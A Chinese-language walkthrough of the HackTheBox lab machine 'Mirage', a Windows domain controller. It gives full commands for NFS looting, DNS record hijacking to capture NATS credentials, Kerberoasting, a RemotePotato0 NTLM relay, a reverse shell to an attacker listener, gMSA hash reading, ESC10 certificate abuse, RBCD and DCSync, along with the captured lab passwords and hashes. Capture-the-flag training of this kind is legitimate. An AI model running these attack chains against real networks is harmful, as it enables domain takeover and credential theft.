HackTheBox Mirage Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Mirage

靶场地址:

https://app.hackthebox.com/machines/682

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

NFS 未授权访问 –> PDF 文档说明 –> 添加 nats-svc 域名解析 –> 得到 nats 服务连接密码 –> 检索 nats 服务得到 david.jjackson 用户密码 –> Bloodhound 分析 kerberoast 攻击 –> nathan.aadam 用户密码 –> 用户旗帜

权限提升(获取管理员旗帜):

Bloodhound 分析 –> 得到通过 mirage-service$ 用户攻击路径 –> winpeas 发现本地存在 mark.bbond 用户 session –> RemotePotato0 中继攻击 –> mark.bbond 用户密码 –> mark.bbond 用户 ForceChangePassword 启用并修改 javier.mmarshall 用户密码 –> javier.mmarshall 用户 ReadGMSAPassword 读取 mirage-service$ Hash –> ESC10 漏洞攻击 –> 获取 DC LDAP shell –> RBCD 攻击 –> 获取管理员 TGS –> DCSync 攻击 –> DC 管理员 Hash –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
sudo nmap -p- 10.129.232.163 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4222/tcp open vrml-multi-use
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49873/tcp open unknown
56390/tcp open unknown
56391/tcp open unknown
56406/tcp open unknown
56414/tcp open unknown
56454/tcp open unknown
56457/tcp open unknown
60169/tcp open unknown

UDP 端口扫描:发现系统存在 NFS 服务。

1
2
3
4
5
6
7
8
9
sudo nmap -p- -sU 10.129.232.163 --min-rate=2000 --open

PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
111/udp open rpcbind
123/udp open ntp
389/udp open ldap
2049/udp open nfs

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
sudo nmap -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001,49664,49665,49666,49667,49668,49873,56390,56391,56406,56414,56454,56457,60169 -sCV 10.129.232.163

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-31 09:44:59Z)
111/tcp open rpcbind?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDRUPXNXNO2OFYD243VV353VBO5W233PASYTDT5SPNXHMPDFZ366EZE7","server_name":"NDRUPXNXNO2OFYD243VV353VBO5W233PASYTDT5SPNXHMPDFZ366EZE7","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":17,"client_ip":"10.10.16.186","xkey":"XDJ3OJKCK3LE5PSXDZJKGTKLKZW53OIYNLUYSJRG7NODZ3LSLVCHP3ZH"}
| -ERR 'Authorization Violation'

...[snip]...

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49873/tcp open msrpc Microsoft Windows RPC
56390/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
56391/tcp open msrpc Microsoft Windows RPC
56406/tcp open msrpc Microsoft Windows RPC
56414/tcp open msrpc Microsoft Windows RPC
56454/tcp open msrpc Microsoft Windows RPC
56457/tcp open msrpc Microsoft Windows RPC
60169/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

...[snip]...

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-07-31T09:46:26
|_ start_date: N/A
|_clock-skew: 7h00m11s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

UDP 服务信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sudo nmap -p53,88,111,123,389,2049 -sU -sCV 10.129.232.163

PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-31 09:54:13Z)
111/udp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
123/udp open ntp NTP v3
| ntp-info:
|_
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
2049/udp open nlockmgr 1-4 (RPC #100021)

...[snip]...

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m15s

系统为 Windows 域控环境,TCP 开放有 SMB、Winrm、NATS 服务,UDP 开放有 NFS 服务,主机 host 为 DC01。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 NFS 泄漏 PDF 文件

使用 showmount 枚举系统 NFS 服务,发现任意用户可访问 /MirageReports 目录。

1
showmount -e 10.129.232.163

将 /MirageReports 目录挂在至 kali /mnt 目录,发现两个 pdf 文件。

1
sudo mount -t nfs 10.129.232.163:/MirageReports /mnt

将文件下载至本地,使用在线 PDF 翻译网站翻译文件内容。

1
2
3
4
sudo cp /mnt/* ./
sudo chmod 777 *.pdf

# https://app.immersivetranslate.com/

Mirage_Authentication_Hardening_Report.pdf

文档透露了当前域控环境禁用了 NTLM 认证,仅允许 kerberos 认证。

Incident_Report_Missing_DNS_Record_nats-svc.pdf

文档透露了域控中 nats 服务域名(nats-svc.mirage.htb)丢失,可尝试可发起 DNS 劫持,获取客户端 请求 nats 服务的数据。

3.2.2 配置域控 Kerberos 认证

添加域控 KDC 域名解析。

1
echo "10.129.232.163\tdc01.mirage.htb mirage.htb" | sudo tee -a /etc/hosts

配置 /etc/krb5.conf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[domain_realm]
.mirage.htb = MIRAGE.HTB
mirage.htb = MIRAGE.HTB

[libdefaults]
default_realm = MIRAGE.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true

[realms]
MIRAGE.HTB = {
kdc = DC01.MIRAGE.HTB
admin_server = DC01.MIRAGE.HTB
default_domain = MIRAGE.HTB
}

3.2.3 添加 DNS 解析,获取 NATS 服务认证密码

使用 nsupdate 添加 DNS 解析记录,然后在 kali 使用 nc 监听 4222 端口,之后便发现靶机发送了连接请求,但没有详细内容。利用 socat 将通过 kali 4222 端口流量转发给靶机 4222 端口,成功得到密码字段,注意:这里需要再次向靶机添加 DNS 解析记录。

1
2
3
4
5
6
7
nsupdate
# DC ip
server 10.129.232.163
# 添加记录
update add nats-svc.mirage.htb 3600 A 10.10.16.23
# 执行
send

1
2
"user":"Dev_Account_A"
"pass":"hx5h7F5554fP@1337!"

3.2.4 枚举靶机 NATS 服务获取到 david.jjackson 用户密码

经过尝试该密码并不能访问靶机,下载 nats 客户端连接工具,使用获取的密码连接靶机 nats 服务。

1
2
# https://github.com/nats-io/natscli/releases/tag/v0.2.4
./nats -s nats://10.129.232.163:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! account info

接下来对 NATS 服务数据流中可能包含的敏感信息进行排查。该服务主要用于处理消息队列,通常涉及消息的生产者与消费者组件之间的通信,具体查询命令可通过 AI 获取。

查询 nats 服务存储信息,发现 streams 包含了 auth_logs 流数据,共计 5 条。

1
./nats -s nats://10.129.232.163:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! stream ls

查询 auth_logs 流详细信息,发现其绑定了 logs.auth 主题,目前暂无消费者读取该流信息。

1
./nats -s nats://10.129.232.163:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! stream info auth_logs

临时创建一个消费者获取 auth_logs 流信息。

1
2
./nats -s nats://10.129.232.163:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! consumer add auth_logs temp_reader --pull --ack explicit
# 其余选项默认回车

读取 auth_logs 流信息,成功得到了 david.jjackson 用户密码。

1
./nats -s nats://10.129.232.163:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! consumer next auth_logs temp_reader --count 5

1
2
"user":"david.jjackson"
"password":"pN8kQmn6b86!1234@"

使用 impacket-getTGT 获取用户 TGT 票据,并设置环境变量。

1
2
3
faketime -f '+7h' impacket-getTGT mirage.htb/'david.jjackson':'pN8kQmn6b86!1234@' -k -dc-ip 10.129.232.163
export KRB5CCNAME=~/Desktop/hackthebox/mirage/david.jjackson.ccache
klist

使用 Bloodhound-ce-python 收集域控信息。

1
faketime -f '+7h' bloodhound-ce-python -d mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -ns 10.129.232.163 -c ALL --zip -k

3.2.5 kerberoast 攻击获取 nathan.aadam 用户密码

使用 Bloodhound 分析收集的信息,发现 nathan.aadam 用户可尝试 kerberoast 攻击。

利用获取的 david.jjackson 用户 TGT 票据使用 targetedKerberoast.py 发起 kerberoast 攻击。

1
faketime -f '+7h' python3 targetedKerberoast.py -d "mirage.htb" -k --dc-host dc01.mirage.htb

将密文信息保存至文件中,使用 hashcat 破解得到 nathan.aadam 用户密码。

1
hashcat kerberoast ~/Desktop/rockyou.txt

1
2
Nnathan.aadam
3edc#EDC3

继续使用 Bloodhound 分析,发现 nathan.aadam 用户属于远程管理组,尝试 evil-winrm 远程登录服务器。

获取 nathan.aadam 用户 TGT。

1
2
3
faketime -f '+7h' impacket-getTGT mirage.htb/'nathan.aadam':'3edc#EDC3' -k -dc-ip 10.129.232.163
export KRB5CCNAME=~/Desktop/hackthebox/mirage/nathan.aadam.ccache
klist

使用 evil-winrm 远程登录 DC。

1
faketime -f '+7h' evil-winrm -r mirage.htb -i dc01.mirage.htb

3.2.6 用户旗帜获取

3.3 提权获取系统最高权限(获取管理员旗帜)

3.3.1 Bloodhound 分析攻击路径

当前已拥有 david.jjackson 和 nathan.aadam 用户权限,通过 Bloodhound 分析未发现通往其余高价值攻击路径。检索 domain user 组,发现 mark.bbond 和 javier.mmarshall 用户具有出站权限。

根据 Bloodhound 分析得知:mark.bbond 用户可通过 ForceChangePassword 权限强制修改 javier.mmarshall 用户密码,而 javier.mmarshall 用户可通过 ReadGMSAPassword 权限读取 mirage-service$ 用户 Hash。

mirage-service$ 用户为域控的计算机账户,在 Bloodhound 中未发现该用户存在特殊权限,尝试获取该用户执行进一步枚举。

3.3.2 RemotePotato0 中继攻击本地 mark.bbond 用户 Session 会话获取 NTLM HASH

想利用以上攻击思路需拥有 mark.bbond 用户权限,首先上传 winpeas 至靶机,由于 evil-winrm 工具获取的 shell 缺少部分权限,而且执行 winpeas 时会断开连接,可通过 Runascs 工具获取 mark.bbond 用户完整权限的 shell。

1
2
3
# evil-winrm
upload /home/kali/Desktop/winPEASx64.exe
upload /home/kali/Desktop/tools/runascs/RunasCs.exe

1
2
3
4
5
# kali
rlwrap nc -lvnp 1234

# evil-winrm
.\RunasCs.exe nathan.aadam 3edc#EDC3 cmd.exe -r 10.10.16.23:1234

执行 winpeas 工具,发现系统本地存在一个在线的用户 session(mark.bbond)。

靶机于 2025 年 7 月 31 日做了补丁更新,更新前使用 winpeas 可直接获取 mark.bbond 用户明文密码(用户配置了自动登录,在注册表保存有明文密码),更新后无法利用之前的思路,此时需要我们利用在线的 session 获取 mark.bbond 用户密码。

在漫长的搜索和请教后,终于发现可通过 RemotePotato0(土豆系列)发起中继攻击,获取系统在线的 session 会话 Net NTLM V2,参考链接如下:

1
https://github.com/antonioCoco/RemotePotato0

下载工具并上传至靶机。

1
upload /home/kali/Desktop/hackthebox/mirage/RemotePotato0.exe

通过 query session 命令可知 mark.bbond 用户 session ID 为 1,利用 RemotePotato0.exe 尝试获取 mark.bbond 用户 Net NTLM V2,具体命令可查看工具说明。

执行过程中工具会发生错误,这是由于在 Windows Server 上的 COM 激活请求不会走网络连接本地地址(127.0.0.1 / localhost),而是优先使用内核级的本地调用机制(IPC / Named Pipe),这导致无法通过监听本地端口劫持 COM 请求。所以需要在 kali 使用 socat 将通过 kali 135 端口流量转发至靶机 9999 端口,其中 9999 端口是自定义的。由于当前仅获取 Net NTLM V2 所以不需要在 kali 中继 RogueOxidResolver 流量。

1
2
3
4
5
6
# kali
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.232.163:9999

# shell
powershell -ep bypass
.\RemotePotato0.exe -m 2 -s 1 -x 10.10.16.23 -p 9999

将 Net NTLM V2 保存至文本中,使用 hashcat 破解得到 mark.bbond 用户明文密码。

1
hashcat hash ~/Desktop/rockyou.txt

1
2
mark.bbond
1day@atime

3.3.3 Mark.bbond 用户 ForceChangePassword 权限启用并修改 Javier.mmarshall 用户密码

由于靶机仅允许通过 kerberos 认证,无法使用 net rpc 修改用户密码,可在 kali 使用 powerview 修改 javier.mmarshall 用户密码。

1
2
3
4
5
6
7
8
# install powerview
pipx install powerview

# 使用powerview连接靶机
faketime -f '+7h' powerview mirage.htb/'mark.bbond':'1day@atime'@dc01.mirage.htb -k

# 修改密码
Set-DomainUserPassword -Identity "JAVIER.MMARSHALL" -AccountPassword nihao@123

通过 Bloodhound 得知 javier.mmarshall 用户处于禁用状态,可使用 Set-DomainObject 将 javier.mmarshall 用户 UAC 设置为 512,注意: 514 表示账号禁用,512 表示普通用户。

1
2
3
4
5
# 方法一 kali powerview 进行
Set-DomainObject -Identity "JAVIER.MMARSHALL" -Set UserAccountControl=512

# 方法二 靶机 shell powershell 进行
Enable-ADAccount -Identity "javier.mmarshall"

使用 mark.bbond 用户 shell(Runascs 获取)查看 javier.mmarshall 用户状态,发现账号已启用但是未设置登录时间,所以仍无法登录该用户。

参考如下文章修改用户登录时间:

1
2
3
4
5
# 方法一
https://activedirectorypro.com/how-to-set-logon-hours-for-active-directory-users/

# 方法二 靶机 powershell 清除logonHours
Set-ADUser -Identity "javier.mmarshall" -Clear logonHours

1
2
$logonHoursArray = [byte[]] (0, 240, 127, 192, 255, 255, 255, 255, 255, 63, 248, 255, 192, 255, 255, 255, 255, 255, 63, 0, 0)
set-aduser JAVIER.MMARSHALL -replace @{logonhours = $logonHoursArray}

使用 Runascs 获取 javier.mmarshall 用户 shell 时,提示不能远程登录,但可请求获取该用户 TGT。

1
2
3
faketime -f '+7h' impacket-getTGT mirage.htb/'javier.mmarshall':'nihao@123' -k -dc-ip 10.129.232.163
export KRB5CCNAME=~/Desktop/hackthebox/mirage/javier.mmarshall.ccache
klist

3.3.4 Javier.mmarshall 用户 ReadGMSAPassword 权限读取 Mirage-service$ HASH

可通过 gMSADumper.py 工具获取 mirage-service$ 用户 Hash(也可使用 nxc 工具)。

1
faketime -f '+7h' python3 gMSADumper.py -d 'mirage.htb' -k

1
2
Mirage-Service$
24cbbd8d239d53284f030ee9b4ff3684

靶机会定时重置用户权限,以上攻击过程需连贯运行。

3.3.5 ESC10 攻击利用

获取 mirage-service$ 用户 TGT,使用 nxc 枚举 ADCS,发现系统存在一个名为 mirage-DC01-CA 的证书颁发机构。

使用 certipy-ad 枚举未发现 ESC 系列漏洞。

1
faketime -f '+7h' certipy-ad find -target dc01.mirage.htb -dc-ip 10.129.232.163 -k -vulnerable -stdout

使用 bloodyAD 枚举用户写入权限,发现其对 mark.bbond 具有写入权限,可能存在 UPN 劫持,进一步查询发现可修改 mark.bbond 用户 SPN 和 UPN。

1
2
3
faketime -f '+7h' bloodyAD --host dc01.mirage.htb --dc-ip 10.129.232.163 -d mirage.htb -k get writable

faketime -f '+7h' bloodyAD --host dc01.mirage.htb --dc-ip 10.129.232.163 -d mirage.htb -k get writable --otype USER --right WRITE --detail

ESC10 攻击步骤参考链接:

1
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc10-weak-certificate-mapping-for-schannel-authentication

1
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\'

接下来根据攻击步骤执行如下攻击利用。

步骤一: 首先查看 mark.bbond UPN,注意:这里需要重新获取 mirage-service$ 用户 TGT,然后再发起请求。

1
2
# mirage-service$用户 TGT
faketime -f '+7h' certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":24cbbd8d239d53284f030ee9b4ff3684" -k -target dc01.mirage.htb -dc-ip 10.129.232.163 -user 'mark.bbond' read

1
mark.bbond@mirage.htb

步骤二: 将受害者账户(mark.bbond)的 UPN 更新为 DC 的 UPN。

1
2
# mirage-service$用户 TGT
faketime -f '+7h' certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":24cbbd8d239d53284f030ee9b4ff3684" -k -target dc01.mirage.htb -dc-ip 10.129.232.163 -user 'mark.bbond' -upn 'dc01$@mirage.htb' update

步骤三: 以受害者用户的身份请求客户端身份验证证书,注意:需重新获取 mark.bbond 用户 TGT。

1
2
3
4
5
# mark.bbond用户 TGT
faketime -f '+7h' impacket-getTGT mirage.htb/'mark.bbond':'1day@atime' -dc-ip 10.129.232.163
export KRB5CCNAME=~/Desktop/hackthebox/mirage/mark.bbond.ccache
faketime -f '+7h' nxc ldap dc01.mirage.htb -u 'mark.bbond' -p '1day@atime' -k -M adcs
faketime -f '+7h' certipy-ad req -u 'mark.bbond' -p '1day@atime' -k -target dc01.mirage.htb -dc-ip 10.129.232.163 -ca 'mirage-DC01-CA' -template 'User'

步骤四: 将受害者帐户的 UPN 恢复为其原始值。

1
2
# mirage-service$用户 TGT
faketime -f '+7h' certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":24cbbd8d239d53284f030ee9b4ff3684" -k -target dc01.mirage.htb -dc-ip 10.129.232.163 -user 'mark.bbond' -upn 'mark.bbond@mirage.htb' update

步骤五: 使用获取的证书向 DC LDAPS(Schannel)进行身份验证,并使用 -ldap-shell 获取 shell。

1
certipy-ad auth -pfx 'dc01.pfx' -dc-ip '10.129.232.163' -ldap-shell

3.3.6 RBCD 攻击(基于资源的受限委派的攻击)

现在我们已经有了 DC ldap shell,可以通过 Resource-Based Constrained Delegation (RBCD)来实现对 DC01$ 账户的伪装。

RBCD:允许你配置可以代表其他人访问某台机器或服务,而不是像传统委派那样在委托人上配置可被委托的服务

使用 ldap-shell 的 set_rbcd 命令设置 mirage-service$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 值为 DC。

1
set_rbcd dc01$ mirage-service$

请求 mirage-service$ TGS 票据,注意这里的 SPN 名是 DC 的文件共享服务。

1
faketime -f '+7h' impacket-getST -spn cifs/dc01.mirage.htb -impersonate 'dc01$' -dc-ip 10.129.232.163 'mirage.htb/mirage-service$' -hashes ":24cbbd8d239d53284f030ee9b4ff3684" -k

3.3.7 DCSync 同步

我们通过以上攻击已经获取到 DC 的 TGS 票据,可通过该票据发起 DCSync 攻击,获取 DC 所有用户 Hash。

1
faketime -f '+7h' impacket-secretsdump 'mirage.htb'/'dc01$'@'dc01.mirage.htb' -k -no-pass

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3

请求 DC administrator 用户 TGT,使用 evil-winrm 登录靶机。

1
2
3
faketime -f '+7h' impacket-getTGT mirage.htb/'administrator' -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.232.163
export KRB5CCNAME=~/Desktop/hackthebox/mirage/administrator.ccache
faketime -f '+7h' evil-winrm -r mirage.htb -i dc01.mirage.htb

3.3.8 管理员旗帜获取

Thanks

🎓 新手福利|Hack The Box 学院推荐

🧑‍💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!

📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。

📌 建议优先完成模块:「Introduction to Academy
✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!

📝 首次访问需注册账号,支持邮箱注册或 GitHub / Google 快速登录。

🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:
https://referral.hackthebox.com/mzCXyui

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨